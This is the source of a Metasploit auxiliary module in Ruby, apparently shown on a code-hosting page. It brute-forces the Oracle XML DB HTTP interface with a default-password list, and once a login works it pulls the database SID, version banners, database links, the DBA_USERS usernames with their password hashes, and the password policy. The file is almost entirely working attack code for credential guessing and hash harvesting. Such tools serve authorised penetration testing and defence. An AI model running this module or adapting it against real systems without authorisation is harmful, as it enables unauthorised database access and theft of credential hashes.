Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Oracle XML DB SID Discovery via Brute Force',13'Description' => %q{14This module attempts to retrieve the sid from the Oracle XML DB httpd server,15utilizing Pete Finnigan's default oracle password list.16},17'References' =>18[19[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],20[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],21],22'Author' => [ 'nebulus' ],23'License' => MSF_LICENSE24)2526register_options(27[28OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),29Opt::RPORT(8080),30])31end3233def run_host(ip)34begin3536res = send_request_raw({37'uri' => '/oradb/PUBLIC/GLOBAL_NAME',38'version' => '1.0',39'method' => 'GET'40}, 5)41return if not res4243if(res.code == 200)44vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")45return46elsif(res.code == 403 || res.code == 401)47print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")48end4950list = datastore['CSVFILE']51users = []5253fd = CSV.foreach(list) do |brute|5455dbuser = brute[2].downcase56dbpass = brute[3].downcase57user_pass = "#{dbuser}:#{dbpass}"5859res = send_request_raw({60'uri' => '/oradb/PUBLIC/GLOBAL_NAME',61'version' => '1.0',62'method' => 'GET',63'headers' =>64{65'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"66}67}, 10)6869if( not res )70vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")71next72end73if (res.code == 200)74if (not res.body.length > 0)75# sometimes weird bug where body doesn't have value yet76res.body = res.bufq77end78sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]79report_note(80:host => ip,81:proto => 'tcp',82:port => datastore['RPORT'],83:type => 'SERVICE_NAME',84:data => sid,85:update => :unique_data86)87print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")88users.push(user_pass)89else90vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")91end92end #fd.each9394good = false95users.each do |user_pass|96(u,p) = user_pass.split(':')9798# get versions99res = send_request_raw({100'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',101'version' => '1.1',102'method' => 'GET',103'headers' =>104{105'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"106}107}, -1)108109if(res)110if(res.code == 200)111if (not res.body.length > 0)112# sometimes weird bug where body doesn't have value yet113res.body = res.bufq114end115116doc = REXML::Document.new(res.body)117118print_good("Version Information ==> as #{u}")119doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|120p = e.elements['PRODUCT'].get_text121v = e.elements['VERSION'].get_text122s = e.elements['STATUS'].get_text123report_note(124:host => datastore['RHOST'],125:sname => 'xdb',126:proto => 'tcp',127:port => datastore['RPORT'],128:type => 'ORA_ENUM',129:data => "Component Version: #{p}#{v}",130:update => :unique_data131)132print_good("\t#{p}\t\t#{v}\t(#{s})")133134end135end136end137138# More version information139res = send_request_raw({140'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',141'version' => '1.1',142'method' => 'GET',143'headers' =>144{145'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"146}147}, -1)148149if(res)150if(res.code == 200)151if (not res.body.length > 0)152# sometimes weird bug where body doesn't have value yet153res.body = res.bufq154end155156doc = REXML::Document.new(res.body)157158doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|159next if e.elements['BANNER'] == nil160b = e.elements['BANNER'].get_text161report_note(162:host => datastore['RHOST'],163:proto => 'tcp',164:sname => 'xdb',165:port => datastore['RPORT'],166:type => 'ORA_ENUM',167:data => "Component Version: #{b}",168:update => :unique_data169)170print_good("\t#{b}")171end172end173end174175# database links176res = send_request_raw({177'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',178'version' => '1.1',179'method' => 'GET',180'headers' =>181{182'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"183}184}, -1)185186if(res)187if(res.code == 200)188if (not res.body.length > 0)189# sometimes weird bug where body doesn't have value yet190res.body = res.bufq191end192193doc = REXML::Document.new(res.body)194195print_good("Database Link Information ==> as #{u}")196doc.elements.each('ALL_DB_LINKS/ROW') do |e|197next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)198h = e.elements['HOST'].get_text199d = e.elements['DB_LINK'].get_text200us = e.elements['USERNAME'].get_text201202sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]203if(h.to_s.match(/^\(DESCRIPTION/) )204h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]205end206207if(sid and sid != "")208print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")209report_note(210:host => h[0],211:proto => 'tcp',212:port => datastore['RPORT'],213:sname => 'xdb',214:type => 'oracle_sid',215:data => sid,216:update => :unique_data217)218else219print_good("\tLink: #{d}\t#{us}\@#{h}")220end221end222end223end224225226# get users227res = send_request_raw({228'uri' => '/oradb/PUBLIC/DBA_USERS',229'version' => '1.1',230'method' => 'GET',231'read_max_data' => (1024*1024*10),232'headers' =>233{234'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"235}236}, -1)237238if res and res.code == 200239if (not res.body.length > 0)240# sometimes weird bug where body doesn't have value yet241res.body = res.bufq242end243244doc = REXML::Document.new(res.body)245print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")246247doc.elements.each('DBA_USERS/ROW') do |user|248249us = user.elements['USERNAME'].get_text250h = user.elements['PASSWORD'].get_text251as = user.elements['ACCOUNT_STATUS'].get_text252print_good("\t#{us}:#{h}:#{as}")253good = true254if(as.to_s == "OPEN")255report_note(256:host => datastore['RHOST'],257:proto => 'tcp',258:sname => 'xdb',259:port => datastore['RPORT'],260:type => 'ORA_ENUM',261:data => "Active Account #{u}:#{h}:#{as}",262:update => :unique_data263)264else265report_note(266:host => datastore['RHOST'],267:proto => 'tcp',268:sname => 'xdb',269:port => datastore['RPORT'],270:type => 'ORA_ENUM',271:data => "Disabled Account #{u}:#{h}:#{as}",272:update => :unique_data273)274end275end276end277278# get password information279res = send_request_raw({280'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',281'version' => '1.1',282'method' => 'GET',283'read_max_data' => (1024*1024*10),284'headers' =>285{286'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"287}288}, -1)289290if res and res.code == 200291if (not res.body.length > 0)292# sometimes weird bug where body doesn't have value yet293res.body = res.bufq294end295296doc = REXML::Document.new(res.body)297298print_good("Password Policy ==> as #{u}")299fla=plit=pgt=prt=prm=plot=''300doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|301next if e.elements['RESOURCE_NAME'] == nil302303case304when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')305fla = e.elements['LIMIT'].get_text306when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')307plit = e.elements['LIMIT'].get_text308when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')309prt = e.elements['LIMIT'].get_text310when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')311prm = e.elements['LIMIT'].get_text312when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')313plot = e.elements['LIMIT'].get_text314when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')315pgt = e.elements['LIMIT'].get_text316end317end318319print_good(320"\tFailed Login Attempts: #{fla}\n\t" +321"Password Life Time: #{plit}\n\t" +322"Password Reuse Time: #{prt}\n\t" +323"Password Reuse Max: #{prm}\n\t" +324"Password Lock Time: #{plot}\n\t" +325"Password Grace Time: #{pgt}"326)327report_note(328:host => datastore['RHOST'],329:proto => 'tcp',330:sname => 'xdb',331:port => datastore['RPORT'],332:type => 'ORA_ENUM',333:data => "Password Maximum Reuse Time: #{prm}",334:update => :unique_data335)336report_note(337:host => datastore['RHOST'],338:proto => 'tcp',339:sname => 'xdb',340:port => datastore['RPORT'],341:type => 'ORA_ENUM',342:data => "Password Reuse Time: #{prt}",343:update => :unique_data344)345report_note(346:host => datastore['RHOST'],347:proto => 'tcp',348:sname => 'xdb',349:port => datastore['RPORT'],350:type => 'ORA_ENUM',351:data => "Password Life Time: #{plit}",352:update => :unique_data353)354report_note(355:host => datastore['RHOST'],356:proto => 'tcp',357:sname => 'xdb',358:port => datastore['RPORT'],359:type => 'ORA_ENUM',360:data => "Account Fail Logins Permitted: #{fla}",361:update => :unique_data362)363report_note(364:host => datastore['RHOST'],365:proto => 'tcp',366:sname => 'xdb',367:port => datastore['RPORT'],368:type => 'ORA_ENUM',369:data => "Account Lockout Time: #{plot}",370:update => :unique_data371)372report_note(373:host => datastore['RHOST'],374:proto => 'tcp',375:sname => 'xdb',376:port => datastore['RPORT'],377:type => 'ORA_ENUM',378:data => "Account Password Grace Time: #{pgt}",379:update => :unique_data380)381end382383break if good384end # users.each385rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout386rescue ::Timeout::Error, ::Errno::EPIPE387end388end389end390391392